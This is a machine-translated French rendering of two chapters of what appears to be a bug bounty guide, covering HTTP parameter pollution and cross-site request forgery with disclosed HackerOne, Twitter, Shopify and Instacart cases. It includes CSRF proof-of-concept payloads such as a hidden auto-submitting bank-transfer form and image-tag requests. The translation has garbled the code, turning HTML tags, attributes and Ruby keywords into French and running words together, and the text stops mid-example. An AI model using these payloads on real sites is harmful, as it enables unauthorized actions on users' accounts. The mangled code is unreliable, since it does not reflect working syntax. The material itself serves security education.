FR Attak

Traduit de Anglais vers Français - www.onlinedoctranslator.
com
5. Pollution des paramètres HTTP
Description
La pollution des paramètres HTTP, ou HPP, fait référence à la manipulation de la façon dont un site
Web traite les paramètres qu'il reçoit lors des requêtes HTTP. La vulnérabilité se produit lorsque des
paramètres sont injectés et approuvés par le site Web vulnérable, entraînant un comportement
inattendu. Cela peut se produire côté back-end, côté serveur, où les serveurs du site que vous
visitez traitent des informations invisibles pour vous, ou côté client, où vous pouvez voir l'effet sur
votre client, qui est généralement ton navigateur.
HPP côté serveur
Lorsque vous faites une requête sur un site Web, les serveurs du site traitent la requête et renvoient une
réponse, comme nous l'avons vu au chapitre 1. Dans certains cas, les serveurs ne renvoient pas seulement une
page Web, mais exécutent également du code basé sur informations qui lui sont fournies via l'URL à laquelle il
est envoyé. Ce code ne s'exécute que sur les serveurs, il est donc essentiellement invisible pour vous. Vous
pouvez voir les informations que vous envoyez et les résultats que vous obtenez, mais le processus
intermédiaire est une boîte noire. Dans HPP côté serveur, vous envoyez aux serveurs des informations
inattendues pour tenter de faire en sorte que le code côté serveur renvoie des résultats inattendus. Parce que
vous ne pouvez pas voir comment fonctionne le code du serveur, HPP côté serveur dépend de votre
identification des paramètres potentiellement vulnérables et de votre expérimentation.
Un exemple de HPP côté serveur pourrait se produire si votre banque initiait des virements via son site
Web qui étaient traités sur ses serveurs en acceptant les paramètres d'URL. Supposons que vous puissiez
transférer de l'argent en remplissant les valeurs des trois paramètres d'URL de, vers et montant, qui
spécifieraient le numéro de compte à partir duquel transférer de l'argent, le compte vers lequel
transférer et le montant à transférer, dans cet ordre. Une URL avec ces paramètres qui transfère 5 000 $
du numéro de compte 12345 vers le compte 67890 pourrait ressembler à :
https://www.bank.com/transfer?from=12345&to=67890&amount=5000
Il est possible que la banque suppose qu'elle ne recevra qu'un seul paramètre. Mais
que se passe-t-il si vous en soumettez deux, comme suit :
https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF
Cette URL est initialement structurée de la même manière que notre premier exemple, mais ajoute un
paramètre extra from qui spécifie un autre compte d'envoi ABCDEF. Comme vous l'avez peut-être deviné,
si l'application est vulnérable à HPP, un attaquant pourrait être en mesure d'exécuter un transfert
Pollution des paramètres HTTP 20
à partir d'un compte qu'ils ne possèdent pas si la banque a fait confiance au dernier paramètre from
qu'elle a reçu. Au lieu de transférer 5 000 $ du compte 12345 vers le 67890, le code côté serveur
utiliserait le deuxième paramètre et enverrait de l'argent du compte ABCDEF vers le 67890.
Les vulnérabilités HPP côté serveur et côté client dépendent du comportement du serveur lors de la
réception de plusieurs paramètres portant le même nom. Par exemple, PHP/Apache utilise la dernière
occurrence, Apache Tomcat utilise la première occurrence, ASP/IIS utilise toutes les occurrences, et ainsi
de suite. Par conséquent, il n'existe pas de processus unique garanti pour gérer plusieurs soumissions de
paramètres portant le même nom et trouver HPP nécessitera quelques expérimentations pour confirmer
le fonctionnement du site que vous testez.
Bien que notre exemple utilise jusqu'à présent des paramètres évidents, des vulnérabilités HPP
surviennent parfois en raison d'un comportement caché côté serveur à partir d'un code qui ne vous est
pas directement visible. Par exemple, disons que notre banque décide de revoir la façon dont elle traite
les transferts et modifie son code back-end pour ne pas inclure de paramètre from dans l'URL, mais
plutôt prendre un tableau contenant plusieurs valeurs.
Cette fois, notre banque prendra deux paramètres pour le compte vers lequel transférer et le montant à
transférer. Le compte à partir duquel effectuer le transfert sera simplement une donnée. Un exemple de lien
pourrait ressembler à ceci :
https://www.bank.com/transfer?to=67890&amount=5000
Normalement, le code côté serveur sera un mystère pour nous, mais heureusement, nous avons
volé leur code source et savons que leur code Ruby côté serveur (ouvertement terrible pour cet
exemple) ressemble à :
utilisateur.compte = 12345
def préparer_transfer(params)
paramètres << utilisateur.compte
transfer_money(params) #user.account (12345) devient params[2]

fin
def transfer_money(params)
à = paramètres[0]
montant = paramètres[1]
de = paramètres[2]
fin du transfert (à, montant,
de)
Ce code crée deux fonctions, prepare_transfer et transfer_money. La fonction prepare_-

transfer prend un tableau appeléparamètresqui contient leàetmontant paramètres de
l’URL. Le tableau serait [67890,5000] où les valeurs du tableau sont prises en sandwich
entre parenthèses et chaque valeur est séparée par une virgule. La première ligne de
la fonction ajoute les informations du compte utilisateur qui ont été définies plus tôt dans le code à la fin
du tableau, nous nous retrouvons donc avec le tableau [67890,5000,12345] dans params, puis params
est transmis à transfer_money.
Vous remarquerez que contrairement aux paramètres, les tableaux Ruby n'ont pas de noms associés à
leurs valeurs, donc le code dépend du tableau contenant toujours chaque valeur dans l'ordre où le
compte vers lequel transférer est en premier, le montant vers lequel transférer est ensuite. , et le compte
à partir duquel transférer suit les deux autres valeurs. Dans transfer_money, cela devient évident lorsque
la fonction attribue chaque valeur du tableau à une variable. Les emplacements du tableau sont
numérotés à partir de 0, donc params[0] accède à la valeur au premier emplacement du tableau, qui est
67890 dans ce cas, et l'attribue à la variableà. Les autres valeurs sont également affectées aux variables
dans les deux lignes suivantes, puis les noms des variables sont transmis à la fonction de transfert, qui
n'est pas affichée dans cet extrait de code, mais prend les valeurs et transfère réellement l'argent.
Idéalement, les paramètres d’URL seraient toujours formatés de la manière attendue par le code.
Cependant, un attaquant pourrait modifier le résultat de cette logique en transmettant undepuisvaleur
aux paramètres, comme avec l'URL suivante :
https://www.bank.com/transfer?to=67890&amount=5000&from=ABCDEF
Dans ce cas, ledepuisLe paramètre est également inclus dans le tableau params transmis à la
fonction prepare_transfer, donc les valeurs des tableaux seraient [67890,5000,ABCDEF] et l'ajout du
compte utilisateur donnerait en fait [67890,5000,ABCDEF,12345]. En conséquence, dans la fonction
transfer_money appelée dans prepare_transfer, ledepuisLa variable prendrait le troisième
paramètre en attendant la valeur user.account 12345, mais ferait en fait référence à la valeur
ABCDEF transmise par l'attaquant.
HPP côté client
D'un autre côté, les vulnérabilités HPP côté client impliquent la possibilité d'injecter des
paramètres dans une URL, qui sont ensuite reflétés sur la page pour l'utilisateur.
Luca Carettoni et Stefano di Paola, deux chercheurs qui ont présenté ce type de vulnérabilité en
2009, ont inclus un exemple de ce comportement dans leur présentation en utilisant la théorie
URL rétiquehttp://host/page.php?par=123%26action=editet le code côté serveur suivant :
<?valeur $=caractères spéciaux html($_GET['par'],ENT_QUOTES);?>

<unhref="/page.php?action=view&par='.<?=valeur $?>.'">Regardez-moi !</a>
Ici, le code génère une nouvelle URL basée sur l'URL saisie par l'utilisateur. L'URL générée comprend
unactionparamètre et unparparamètre, dont le second est déterminé par l'URL de l'utilisateur.
Dans l'URL théorique, un attaquant transmet la valeur 123%26action=edit comme valeur pourpar
dans l'URL. %26 est la valeur codée en URL pour &, ce qui signifie que lorsque l'URL est analysée,
%26 est interprété comme &. Cela ajoute un paramètre supplémentaire
au lien href généré sans ajouter de lien expliciteactionparamètre. S'ils avaient utilisé
123&action=edit à la place, cela aurait été interprété comme deux paramètres distincts, donc
parserait égal à 123 et le paramètreactionéquivaudrait à modifier. Mais comme le site
recherche et utilise uniquement le paramètrepardans son code pour générer la nouvelle URL,
le actionLe paramètre serait supprimé. Afin de contourner ce problème, le %26 est utilisé pour
queactionn'est pas initialement reconnu comme un paramètre distinct, doncparla valeur
devient 123%26action=edit.
Maintenant,par(avec le & codé en %26) serait transmis à la fonction htmlspecialchars. Cette

fonction convertit les caractères spéciaux, tels que %26, en leurs valeurs codées HTML, ce qui
fait que %26 devient &. La valeur convertie est ensuite stockée dans $val. Ensuite, un nouveau
lien est généré en ajoutant $val à la valeur href à. Le lien généré devient donc :
<a href="/page.php?action=view&par=123&action=edit">
Ce faisant, un attaquant a réussi à ajouter l'action=edit supplémentaire à l'URL href, ce qui

pourrait conduire à une vulnérabilité selon la façon dont le serveur gère la réception de deux
paramètres d'action.
Exemples
1. Boutons de partage social HackerOne
Difficulté: Faible
URL: https://hackerone.com/blog/introducing-signal-and-impact
Lien de rapport:https://hackerone.com/reports/1059531
Date de déclaration: 18 décembre 2015
Prime payée: 500$
Description:
Les articles du blog HackerOne incluent des liens pour partager du contenu sur des sites de médias sociaux populaires
comme Twitter, Facebook, etc. Ces liens créeront du contenu que l'utilisateur pourra publier sur les réseaux sociaux et qui
renverra au billet de blog original. Les liens permettant de créer les publications incluent des paramètres qui redirigent vers
le lien de la publication de blog lorsqu'un autre utilisateur clique sur la publication partagée.
Une vulnérabilité a été découverte dans laquelle un pirate informatique pourrait modifier un autre
paramètre d'URL lors de la visite d'un article de blog, ce qui se refléterait dans le lien partagé vers le
réseau social, ce qui entraînerait un lien vers un article partagé vers un endroit autre que le blog prévu.
L'exemple utilisé dans le rapport de vulnérabilité impliquait la visite de l'URL :
1https://hackerone.com/reports/105953
https://hackerone.com/blog/introducing-signal
puis en ajoutant
&u=https://vk.com/durov
jusqu'au bout. Sur la page du blog, lorsqu'un lien à partager sur Facebook était rendu par
HackerOne, le lien devenait :
https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov
Si ce lien mis à jour de manière malveillante était cliqué par des visiteurs de HackerOne essayant de
partager du contenu via les liens des réseaux sociaux, le derniertoiLe paramètre aurait priorité sur le
premier et serait ensuite utilisé dans la publication Facebook. Cela conduirait les utilisateurs de Facebook
à cliquer sur le lien et à être dirigés vers https://vk.com/durov au lieu de HackerOne.
De plus, lors de la publication sur Twitter, HackerOne a inclus le texte du Tweet par défaut qui ferait la
promotion de la publication. Cela pourrait également être manipulé en incluant&texte=dans l'url :
https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov&text=another_site:https://vk.com/durov
Une fois qu'un utilisateur cliquait sur ce lien, il obtenait une fenêtre contextuelle de Tweet contenant le texteun
autre_- site : https://vk.com/durovau lieu d'un texte faisant la promotion du blog HackerOne.
Points à retenir
Soyez à l'affût des opportunités lorsque les sites Web acceptent du contenu et semblent
contacter un autre service Web, comme les sites de médias sociaux, et s'appuyer sur l'URL
actuelle pour générer le lien afin de créer une publication partagée.
Dans ces situations, il est possible que le contenu soumis soit transmis sans avoir été soumis à
des contrôles de sécurité appropriés, ce qui pourrait conduire à des vulnérabilités liées à la
pollution des paramètres.
2. Notifications de désabonnement de Twitter
Difficulté: Faible
URL: twitter.com
Lien de rapport:blog.mert.ninja/twitter-hpp-vulnerability2
Date de déclaration: 23 août 2015
Prime payée: 700$
Description:
2http://blog.mert.ninja/blog/twitter-hpp-vulnerability
En août 2015, le hacker Mert Tasci a remarqué une URL intéressante lors de sa désinscription
des notifications Twitter :
https://twitter.com/i/u?iid=F6542&uid=1134885524&nid=22+26
(J'ai un peu raccourci cela pour le livre). Avez-vous remarqué le paramètreUID? Il s’agit de l’identifiant
utilisateur de votre compte Twitter. Remarquant cela, il a fait ce que je suppose que la plupart d'entre
nous, les hackers, ferions, il a essayé de changer leUIDà celui d’un autre utilisateur et rien. Twitter a
renvoyé une erreur.
Déterminé à continuer là où d'autres auraient pu abandonner, Mert a essayé d'ajouter un deuxième UID
paramètre pour que l'URL ressemble (encore une fois, j'ai raccourci ceci) :
https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26
Et... SUCCÈS ! Il a réussi à désinscrire un autre utilisateur de ses notifications par courrier électronique. Il
s’avère que Twitter était vulnérable aux utilisateurs qui se désabonnent de HPP.
Points à retenir
Malgré une brève description, les efforts de Mert démontrent l'importance de la

persévérance et de la connaissance. S'il s'était éloigné de la vulnérabilité après avoir
changé leUIDà un autre utilisateur et en cas d'échec ou s'il n'avait pas eu connaissance
des vulnérabilités HPPtype, il n'aurait pas reçu sa prime de 700 $.
Gardez également un œil sur les paramètres, commeUID, étant inclus dans les requêtes HTTP, car de
nombreuses vulnérabilités impliquent la manipulation des valeurs des paramètres pour amener les
applications Web à faire des choses inattendues.
3. Intentions Web Twitter
Difficulté: Faible
URL: twitter.com
Lien de rapport:Attaque de falsification de paramètres sur les intentions Web de Twitter3
Date de déclaration: novembre 2015
Prime payée: Non dévoilé
Description:
Les intentions Web Twitter fournissent des flux contextuels pour travailler avec les tweets, les réponses, les retweets,
les likes et les abonnements des utilisateurs de Twitter dans le contexte de sites non Twitter. Ils permettent aux
utilisateurs d'interagir avec le contenu de Twitter sans quitter la page ni avoir à autoriser un utilisateur.
3https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents
nouvelle application juste pour l'interaction. Voici un exemple de ce à quoi ressemble l'une de ces fenêtres contextuelles :
Intention Twitter
En testant cela, le pirate informatique Eric Rafaloff a découvert que les quatre types d'intentions, suivre un
utilisateur, aimer un tweet, retweeter et tweeter, étaient vulnérables à HPP. Twitter créerait chaque intention
via une requête GET avec des paramètres d'URL tels que les suivants :
https://twitter.com/intent/intentType?paramter_name=paramterValue
Cette URL incluraitType d'intentionet une ou plusieurs paires nom/valeur de paramètre, par exemple un nom
d'utilisateur Twitter et un identifiant Tweet. Twitter utiliserait ces paramètres pour créer une intention
contextuelle permettant d'afficher l'utilisateur à suivre ou à aimer. Eric a découvert que s'il créait
une URL avec deuxNom d'écranparamètres pour une intention de suivi, au lieu du singulier
attenduNom d'écran, comme:
https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3
Twitter traiterait la demande en donnant la priorité à la secondeNom d'écran valorisez ericrtest3

par rapport à la première valeur Twitter lors de la génération d'un bouton de suivi, de sorte qu'un
utilisateur tentant de suivre le compte officiel de Twitter pourrait être amené à suivre le compte test
d'Eric. La visite de l'URL créée par Eric entraînerait la génération du formulaire HTML suivant par le
code back-end de Twitter avec les deuxNom d'écranparamètres:
<formulaireclasse="suivre"identifiant="suivre_btn_form"action="/intent/follow?screen_name=ericrte\
st3"méthode="poste">
<entréetapez="caché"nom="jeton_d'authenticité"valeur="...">
<entréetapez="caché"nom="Nom d'écran"valeur="Twitter"> <entrée
tapez="caché"nom="carte d'indentité"valeur="783214"> <bouton
classe="bouton"tapez="soumettre"> <b></b><strong>Suivre</
strong> </bouton>
</form>
Twitter récupérerait les informations dès le débutNom d'écranparamètre, qui est associé au
compte Twitter officiel afin qu'une victime puisse voir le profil correct de l'utilisateur qu'elle
avait l'intention de suivre, car le premier de l'URLNom d'écranLe paramètre est utilisé pour
remplir les deux valeurs d’entrée. Mais, en cliquant sur le bouton, ils finiraient par suivre
ericrtest3 car l'action dans la balise form utiliserait à la place la secondeNom d'écran valeur du
paramètre dans le paramètre d'action de la balise form, transmise à l'URL d'origine :
https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3
De même, lors de la présentation des intentions d'appréciation, Eric a découvert qu'il pouvait inclure unNom
d'écran paramètre bien qu’il n’ait aucune pertinence pour aimer le tweet. Par exemple, il pourrait créer l'URL :
https://twitter.com/intent/like?tweet_id=6616252302978211845&screen_name=ericrtest3
Une intention similaire normale n'aurait besoin que du paramètre tweet_id, cependant,
Eric a injecté le Nom d'écranparamètre à la fin de l’URL. En aimant ce tweet, la victime se
verrait présenter le profil de propriétaire correct pour aimer le tweet, mais le bouton de
suivi présenté à côté du tweet correct et du profil correct du tweeter serait destiné à
l'utilisateur non lié ericrtest3.
Points à retenir
Ceci est similaire à la précédente vulnérabilité UID Twitter. Sans surprise, lorsqu’un site est vulnérable à
une faille telle que HPP, cela peut être le signe d’un problème systémique plus large. Parfois, si vous
découvrez une vulnérabilité comme celle-ci, cela vaut la peine de prendre le temps d'explorer la plate-
forme dans son intégralité pour voir s'il existe d'autres domaines dans lesquels vous pourriez exploiter
un comportement similaire.
Résumé
Le risque posé par la pollution des paramètres HTTP dépend réellement des actions effectuées par
le back-end d'un site et de l'endroit où les paramètres pollués sont utilisés.
La découverte de ces types de vulnérabilités dépend davantage de l'expérimentation que d'autres

vulnérabilités, car les actions back-end d'un site Web peuvent être une boîte noire pour un pirate
informatique, ce qui signifie que vous aurez probablement très peu d'informations sur les actions back-
end. le serveur final prend après avoir reçu votre entrée.
Par essais et erreurs, vous pourrez peut-être découvrir des situations de ce type de vulnérabilités. Les liens vers les
réseaux sociaux constituent généralement une bonne première étape, mais n'oubliez pas de continuer à creuser et
de penser à HPP lorsque vous testez des substitutions de paramètres telles que les UID.
6. Contrefaçon de demande intersite
Description
Une attaque de falsification de requête intersite, ou CSRF, se produit lorsqu'un attaquant peut utiliser
une requête HTTP pour accéder aux informations d'un utilisateur à partir d'un autre site Web et utiliser
ces informations pour agir au nom de l'utilisateur. Cela repose généralement sur l'authentification
préalable de la victime sur le site Web cible sur lequel l'action est soumise, et se produit sans que la
victime sache que l'attaque a eu lieu. Voici un exemple de base, que nous allons parcourir :
1. Bob se connecte à son site bancaire pour vérifier son solde.

2. Une fois terminé, Bob vérifie son compte Gmail en visitanthttps://gmail.com/.
3. Bob reçoit un e-mail contenant un lien vers un site Web inconnu et clique sur le lien pour voir où il
mène.
4. Une fois chargé, le site inconnu demande au navigateur de Bob d'envoyer une requête HTTP au
site Web bancaire de Bob, qui transfère l'argent de son compte vers celui de l'attaquant.
5. Le site Web bancaire de Bob reçoit la requête HTTP du site Web inconnu (et
malveillant), ne dispose d'aucune protection CSRF et traite donc le transfert.
Biscuits
Maintenant, avant d’entrer dans les détails de la façon dont Bob a été compromis, nous devons parler des
cookies. Lorsque vous visitez un site Web qui nécessite une authentification, comme un nom d'utilisateur et un
mot de passe, ce site stocke généralement un cookie dans votre navigateur. Les cookies sont des fichiers créés
par des sites Web et stockés sur l'ordinateur de l'utilisateur.
Les cookies peuvent être utilisés à diverses fins, par exemple pour stocker des informations telles que les
préférences de l'utilisateur ou l'historique de ses visites sur un site Web. Pour stocker ces informations, les
cookies peuvent avoir certains attributs, qui sont des informations standardisées qui informent les navigateurs
sur les cookies et sur la manière dont ils doivent être traités. Certains attributs qu'un cookie peut avoir incluent
les attributs de domaine, de date d'expiration, de sécurité et http uniquement.
En plus des attributs, les cookies peuvent contenir des paires nom/valeur, qui sont constituées d'un identifiant
et d'une valeur associée à transmettre à un site Web (le site auquel transmettre ces informations est défini par
l'attribut de domaine du cookie). Un site peut définir un nombre illimité de cookies, chacun ayant son propre
objectif. Par exemple, un site pourrait utiliser un cookie session_id pour se souvenir de l'identité d'un utilisateur
plutôt que de lui demander de saisir son nom d'utilisateur et son mot de passe pour chaque page visitée ou
action effectuée. N'oubliez pas que HTTP est considéré comme sans état
Contrefaçon de demande intersite 29
ce qui signifie qu'à chaque requête HTTP, un site Web ne sait pas qui est un utilisateur, il doit donc
le réauthentifier pour chaque requête.
Ainsi, à titre d'exemple, une paire nom/valeur dans un cookie pourrait être sessionId:123456789 et
le cookie pourrait avoir un domaine .site.com. Cela signifie que le cookie user_id doit être envoyé à
chaque site .site.com visité par un utilisateur, comme foo.site.com, bar.site.com, www.site.com, etc.
Les attributs secure et httponly indiquent aux navigateurs quand et comment les cookies peuvent être
envoyés et lus. Ces attributs ne contiennent pas de valeurs, mais agissent plutôt comme des indicateurs
qui sont présents ou non dans le cookie. Lorsqu'un cookie contient l'attribut sécurisé, les navigateurs
n'enverront ce cookie que lors de la visite de sites HTTPS. Si vous avez visitéhttp://www.site.com/avec un
cookie sécurisé, votre navigateur n'enverra pas vos cookies au site. Il s'agit de protéger votre vie privée
puisque les connexions HTTPS sont cryptées et celles HTTP ne le sont pas. L'attribut httponly indique au
navigateur que le cookie ne peut être lu que via les requêtes HTTP et HTTPS. Cela deviendra important
lorsque nous discuterons des scripts intersites dans un chapitre ultérieur, mais pour l'instant, sachez que
si un cookie est http uniquement, les navigateurs n'autoriseront aucun langage de script, tel que
JavaScript, à lire sa valeur. Un cookie sans l'attribut secure peut être envoyé à un site non-HTTPS et, de
même, un cookie sans httponly défini peut être lu par une connexion non-HTTP.
Enfin, la date d'expiration informe simplement le navigateur du moment où le site ne considérera plus le
cookie comme valide, le navigateur devra donc le détruire.
En revenant à Bob, lorsqu'il visite son site bancaire et se connecte, la banque répondra à sa
requête HTTP par une réponse HTTP, qui inclut un cookie identifiant Bob. À son tour, le
navigateur de Bob enverra automatiquement ce cookie avec toutes les autres requêtes
HTTP au site Web bancaire.
Après avoir terminé ses opérations bancaires, Bob ne se déconnecte pas lorsqu'il décide de lui rendre visite.https://
www.gmail.com/. Ceci est important car lorsque vous vous déconnectez d'un site, ce site enverra généralement une
réponse HTTP qui fait expirer votre cookie. Par conséquent, lorsque vous revisiterez le site, vous devrez vous
reconnecter.
Lorsque Bob visite le site inconnu, il visite par inadvertance un site Web malveillant conçu pour
attaquer son site Web bancaire. À ce stade, la manière dont le site malveillant exploite le site
bancaire dépend du fait que la banque accepte les requêtes GET ou POST.
CSRF avec requêtes GET
Si le site bancaire accepte les requêtes GET, le site malveillant enverra la requête HTTP avec un formulaire
caché ou une balise <img>. Étant donné que la technique du formulaire caché peut également être utilisée
avec les requêtes POST, nous aborderons la balise <img> dans cette section et les formulaires dans la section
« CSRF avec requêtes POST » plus tard.
Lorsqu'une balise <img> est rendue par un navigateur, elle effectuera une requête HTTP GET à
l'attribut src de la balise. Ainsi, si le site malveillant utilisait une URL transférant 500 $ de Bob à
Joe, celle-ci ressemblerait à :
https://www.bank.com/transfer?from=bob&to=joe&amount=500
alors une balise d'image malveillante utiliserait cette URL comme valeur source, comme dans la balise
suivante :
<img src="https://www.bank.com/transfer?from=bob&to=joe&amount=500">
Par conséquent, lorsque Bob visite le site appartenant à l'attaquant, il inclut la balise <img> dans sa
réponse HTTP et le navigateur envoie ensuite la requête HTTP GET à la banque. Le navigateur
envoie les cookies d'authentification de Bob pour obtenir ce qu'il pense être une image alors qu'en
fait la banque reçoit la demande, traite l'URL dans l'attribut src de la balise et traite le transfert.
Pour cette raison, en tant que principe général de programmation Web, les requêtes HTTP GET ne doivent
jamais effectuer de requêtes de modification de données back-end, comme le transfert d'argent.
CSRF avec requêtes POST
En revanche, si la banque accepte les requêtes POST, il y a plusieurs éléments à prendre en compte. Le
contenu d'une requête POST peut compliquer une attaque CSRF, c'est pourquoi différentes techniques
doivent être utilisées pour réussir une attaque.
La situation la plus simpliste implique une requête POST avec le type de contenu application/x-
www-form-urlencoded ou text/plain. Le type de contenu est un en-tête que les navigateurs peuvent
inclure lors de l'envoi de requêtes HTTP. Il indique au destinataire comment le corps de la requête
HTTP est codé. Voici un exemple de requête de type texte/contenu brut :
POSTE/HTTP/1.1 Hôte:
www.google.ca
Agent utilisateur:Mozilla/5.0 (Windows NT 6.1 ; rv:50.0) Gecko/20100101 Firefox/50.0
Accepter:texte/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Longueur du
contenu:0
Type de contenu:texte/plain;charset=UTF-8
DNT:1
Connexion:fermer
Le type de contenu est étiqueté et son type est répertorié avec le codage des caractères de la demande.
Le type de contenu est important car les navigateurs traitent les types différemment (nous y reviendrons
dans une seconde). Désormais, dans cette situation, il est possible qu'un site malveillant crée un
formulaire HTML masqué et le soumette silencieusement au site cible à l'insu de la victime. Le formulaire
peut être utilisé pour soumettre une requête POST ou GET à une URL et peut même soumettre des
valeurs de paramètres. Voici un exemple de code malveillant :
<iframestyle="affichage : aucun"nom="cadre csrf"></iframe>

<formulaireméthode='POSTE'action='http://bank.com/transfer.php'cible="cadre csrf"identifiant="cs\rf-
form">
<entréetapez='caché'nom='depuis'valeur='Bob'>
<entréetapez='caché'nom='à'valeur='Joé'> <entrée
tapez='caché'nom='montant'valeur='500'> <entrée
tapez='soumettre'valeur='soumettre'> </form>
<script>document.getElementById("csrf-form").submit()</script>
Ici, nous envoyons une requête HTTP POST à la banque de Bob avec un formulaire (ceci est indiqué par
l'attribut target dans le fichier<formulaire>étiqueter). Puisque l'attaquant ne veut pas que Bob voie le
formulaire, chacun des<entrée>les éléments reçoivent le type « caché », ce qui les rend invisibles sur la
page Web que Bob voit. Comme dernière étape, l'attaquant inclut du JavaScript dans un<script>balise
pour soumettre automatiquement le formulaire lorsque la page est chargée.
Le JavaScript fait cela en appelant la méthode getElementByID() sur le document HTML avec l'identifiant
du formulaire (« csrf-form ») que nous avons défini dans le<formulaire>. Comme pour une requête GET,
une fois le formulaire soumis, le navigateur effectue la requête HTTP POST pour envoyer les cookies de
Bob au site de la banque, qui invoque un transfert. Étant donné que les requêtes POST renvoient une
réponse HTTP au navigateur, l'attaquant masque la réponse dans un<iframe>avec l'attribut display:none
pour que Bob ne le voie pas et ne réalise pas ce qui s'est passé.
Dans d'autres scénarios, un site peut s'attendre à ce que la requête POST soit soumise avec le
type de contenu application/json à la place. Dans certains cas, une requête de type application/
json aura un jeton CSRF, qui est une valeur soumise avec la requête HTTP afin que le site cible
puisse valider que la requête provient de lui-même et non d'un autre site malveillant. . Parfois,
le jeton est inclus dans le corps HTTP de la requête POST et, à d'autres moments, il s'agit d'un
en-tête comme le type de contenu.
L'envoi de requêtes POST en tant qu'application/json est important car les navigateurs
enverront d'abord une requête HTTP OPTIONS avant l'envoi de la requête POST. Le site renvoie
ensuite une réponse à l'appel OPTIONS indiquant les types de requêtes HTTP qu'il accepte. Le
navigateur lit cette réponse, puis effectue la requête HTTP POST réelle, qui dans notre
exemple, serait le transfert. Ce flux de travail protège en fait contre certaines vulnérabilités
CSRF car le site Web malveillant ne sera pas autorisé à lire la réponse HTTP OPTIONS du site
Web cible pour savoir s'il peut envoyer la requête POST malveillante. C’est ce qu’on appelle le
partage de ressources entre origines croisées (CORS).
CORS est conçu pour restreindre l'accès aux ressources, y compris les réponses json, à partir d'un domaine en
dehors de celui qui a servi le fichier ou qui est autorisé par le site cible. En d'autres termes, lorsque CORS est
utilisé pour protéger un site, vous ne pouvez pas soumettre une requête application/json pour appeler
l'application cible, lire la réponse et effectuer un autre appel, à moins que le site cible ne le permette. Dans
certaines situations, vous pourrez contourner CORS pour effectuer une attaque CSRF, comme nous le verrons
plus loin dans ce chapitre.
Désormais, comme mentionné, les vulnérabilités CSRF peuvent être atténuées de plusieurs manières. Il est
donc important de garantir une attaque de preuve de concept appropriée avant de les signaler.
Défenses contre les attaques CSRF
La protection la plus populaire contre CSRF est probablement le jeton CSRF, qui serait requis
par le site protégé lors de la soumission de requêtes susceptibles de modifier les données
(c'est-à-dire des requêtes POST). Ici, une application Web (comme la banque de Bob) générerait
un jeton composé de deux parties, une que Bob recevrait et une que l'application conserverait.
Lorsque Bob tente de faire des demandes de transfert, il devra soumettre son token, que la
banque validera ensuite avec son côté du token.
Ces jetons ne sont pas toujours nommés de manière évidente, mais quelques exemples potentiels de
noms incluent X-CSRF-TOKEN, lia-token, rt ou form-id. L'attaquant ne serait pas en mesure de soumettre
avec succès une requête POST sans un jeton valide, et ne serait donc pas en mesure de mener une
attaque CSRF. Cependant, les jetons CSRF ne conduisent pas toujours à une impasse lors de la recherche
de vulnérabilités. exploiter.
L'autre moyen évident pour les sites de se protéger est d'utiliser CORS, bien que cela ne soit pas
infaillible car il repose sur la sécurité des navigateurs, garantissant des configurations CORS
appropriées lorsque les sites sont autorisés à accéder aux réponses et il y a eu certaines
vulnérabilités de contournement CORS à cela. dans le passé. De plus, CORS peut parfois être
contourné en modifiant le type de contenu de application/json en application/x-www-form-
urlencoded ou en utilisant une requête GET au lieu d'une requête POST. Ces deux éléments
dépendent de la façon dont le site cible est configuré.
Enfin, les vulnérabilités CSRF peuvent également être évitées si un site valide l'en-tête d'origine
soumis avec une requête HTTP, car l'origine ne peut pas être contrôlée par un attaquant et fait
référence à l'emplacement d'origine de la requête.
Exemples
1. Déconnexion Twitter de Shopify
Difficulté: Faible
URL: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect
Date de déclaration: 17 janvier 2016
Prime payée: 500$

Description:
Shopify fournit une intégration avec Twitter pour permettre aux propriétaires de magasins de tweeter sur leurs
produits. De même, il propose également une fonctionnalité permettant de déconnecter un compte Twitter d’une
boutique connectée. L'URL pour déconnecter un compte Twitter est :
https://www.twitter-commerce.shopifyapps.com/auth/twitter/disconnect/
Il s'avère que lors de sa mise en œuvre initiale, Shopify ne validait pas la légitimité des requêtes
GET qui lui étaient envoyées, rendant l'URL vulnérable au CSRF.
OBTENIR/auth/twitter/déconnexionHTTP/
1.1 Hôte:twitter-commerce.shopifyapps.com
Agent utilisateur:Mozilla/5.0 (Macintosh ; Intel Mac OS X 10.11 ; rv:43.0) Gecko/20100101 Fi\ refo/
43.0
Accepter : text/html, application/xhtml+xml, application/xml
Accepter la langue : en-US,en;q=0.5
Accepter l'encodage : gzip, dégonfler
Référent : https://twitter-commerce.shopifyapps.com/account
Cookie : _twitter-commerce_session=REDACTED
Connexion : keep-alive
Le hacker WeSecureApp, qui a déposé le rapport, a fourni l'exemple suivant de requête

vulnérable : notez l'utilisation d'un<img>balise qui fait l'appel à l'URL vulnérable :
<html>
<corps>
<imgsrc="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect"> </
corps>
</html>
Points à retenir
Dans cette situation, la vulnérabilité aurait pu être détectée en utilisant un serveur proxy, comme
Burp ou le ZAP de l'OWASP, pour surveiller les requêtes HTTP envoyées à Shopify et en notant
qu'il s'agissait d'une requête GET. Les requêtes GET ne devraient jamais modifier les données sur
le serveur, mais WeSecureApp a pu prendre des mesures destructrices avec une seule, vous
devriez donc également examiner ces types de requêtes.
2. Modifier les zones Instacart des utilisateurs
Difficulté: Faible
URL: https://admin.instacart.com/api/v2/zones/
Date de déclaration: 9 août 2015
Prime payée: 100$
Description:
Instacart est une application de livraison de courses avec une interface pour ses coursiers. Il permet à ses utilisateurs de
livraison d'épicerie de définir les zones dans lesquelles ils travaillent, qui peuvent également être mises à jour avec une
requête POST au point de terminaison /api/v2/zones de l'API d'administration Instacart. Un pirate informatique a découvert
que ce point de terminaison était vulnérable au CSRF et pouvait être utilisé pour modifier la zone de la victime. Voici un
exemple de code pour modifier la zone d'une victime :
<html>
<corps>
<formulaireaction="https://admin.instacart.com/api/v2/zones"méthode="POSTE">
<entréetapez="caché"nom="fermeture éclair"valeur="10001"/> <entréetapez="caché"
